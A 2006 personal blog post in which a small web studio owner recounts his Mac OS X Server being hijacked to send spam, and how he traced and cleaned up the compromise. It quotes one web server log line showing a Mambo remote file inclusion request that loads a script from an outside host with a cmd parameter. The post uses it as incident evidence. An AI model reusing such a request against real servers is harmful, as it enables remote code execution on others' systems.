7 Minute Miles

Mail Server Hackage


Yesterday I was notified by our server colocation provider (the excellent digital.forest in Seattle) that one of our mail servers was being used to send junk mail. We currently use the mail server included with Mac OS X Server, which is based on Postfix. I have been testing an alternative solution called ECM on a different server and I was hoping it was this test setup that had been compromised. Unfortunately, it was our main production box.

I wrote about email earlier this year and my opinion of email gurus hasn’t changed–they deserve every cent they make. I’m getting up to speed as fast as I can, but unfortunately it’s causing problems for our partners. As Chuck Goolsbee (V.P. Technical Operations at digital.forest) writes in the support area of the digital.forest website:

The greatest risk from this exploit (beyond being associated with being a spammer) is having all mail from your domain, and ultimately our network rejected.

Chuck thought it looked like a PHP form exploit and I used Apple Remote Desktop (ARD) to look at the server. That box needed the new 10.4.7 Server upgrade, so I thought I’d install that first and restart the server. I’ve done upgrades this way a number of times and it usually works fine. This time, the machine restarted and I could ping it, but ARD could not connect. I tried to SSH into the box and while I could get a password prompt, it would time out after entry.

I needed to have someone at digital.forest manually restart the box, but did not know the proper procedure to get this done quickly. About an hour later, I caught Chuck coming out of a meeting and our server downtime was over. All of our websites were still down, but after I found the SSL passphrase, we were back in business on the web side of things. Now it was time to troubleshoot the junk mail issue.

The Apple discussion groups had a thread called “Spam mail being sent through our XServe” that sounded similar to what we were experiencing:

We run a Mac OSX Server (updated to 10.4.7) on an Xserve and we currently have an issue where we are having spam email sent through our system. This has only started to happen recently, and our Mac OSX server has been handling our email happily for well over 3 years now. We have noticed that all of the emails that are being sent are being queued in our mail server and are being sent from the address:-

www@ourcompany.com (our domain)

Some of the recommendations that came out of that thread included:

  • Change all user passwords
  • Enforce strong passwords
  • Remove shell access for all users who do not require it
  • Delete the mail queue
  • Change your default SSH port (away from port 22)
  • Use /etc/syslog.conf to create an auth log of people trying to login
  • Turn off webmail or put it behind a protected realm
  • Check for PHP code injection

Chuck forwarded me a number of notices from AOL with a subject line of “Client TOS Notification.” These included a header that identified my main server as the culprit. I later noticed that one of my mail accounts also received a number of these notices, but the Apple Mail program automatically classified them as junk and I did not see them.

I started reviewing the default web server access_log and saw some entries that started on July 8th:

69.93.231.98 – – [08/Jul/2006:14:54:17 -0700] “GET http://216.168.61.173//mambo/index2.php?_REQUEST=&_REQUEST
%255boption%255d=com_content&_REQUEST%255bItemid%255d=1
&GLOBALS=&mosConfig_absolute_path=http://westarn.org/text.txt?
&cmd= HTTP/1.1” 200 600

This looked like a code injection as described in the link above and Chuck confirmed this. I did some checking on known Mambo vulnerabilities and looked to see where this directory appeared on our server. We used Mambo for an old test project, but had moved to Joomla some time ago.

There were a number of test directories in the default web root for Mac OS X Server (/Library/WebServer/Documents), including one Mambo folder. After a number of issues with the Apple server GUI (Server Admin), we stopped using it and now do all of our configs using the command line. There was still a config file that Server Admin had created for default requests to our IP address that pointed to the default root directory. So if you entered our server’s IP address in a browser, you viewed the default Mac OS X Server web page and not our main www.studio-4.com site. This also opened up access to the bad Mambo folder when combined with the IP address. I removed all of the old test directories and deleted the default Apache config file so that entering the server’s IP address now displays the Studio 4 main site.

Chuck reported that our server sent out thousands of junk emails in the past five days. I was curious to see where these showed up in logs (if they did), so I looked in the main mail.log. There were a number of items of interest, including an indication of messages deferring in the queue. I looked at the mail queue and found 875 messages to various accounts I’ve never seen before, all from the www@mail.studio-4.com address. I deleted them all and hope they were placed there because the hole in the server via Mambo had been removed. So far, no new messages have queued from that address.

I’ve decided I need to learn more about the appropriate RFCs, such as creating abuse accounts for all of our domains. Most of our PHP applications are part of projects, so I trust those developers to keep up with exploits, but I need to always keep current with the latest versions (WordPress, Joomla, etc.). For the few custom pages I do in PHP, I need to review those pages to make sure they are as hardened as I can make them.

At times like this, it makes me think I’m in the wrong business. It amazes me what people try to do with resources that do not belong to them. Thankfully, we have good organizations like digital.forest to help identify and resolve these issues so we can focus on the more creative and money-making opportunities the technology provides…DK

Originally published by DK on July 14, 2006 at 2:37 pm in Technology


flourish icon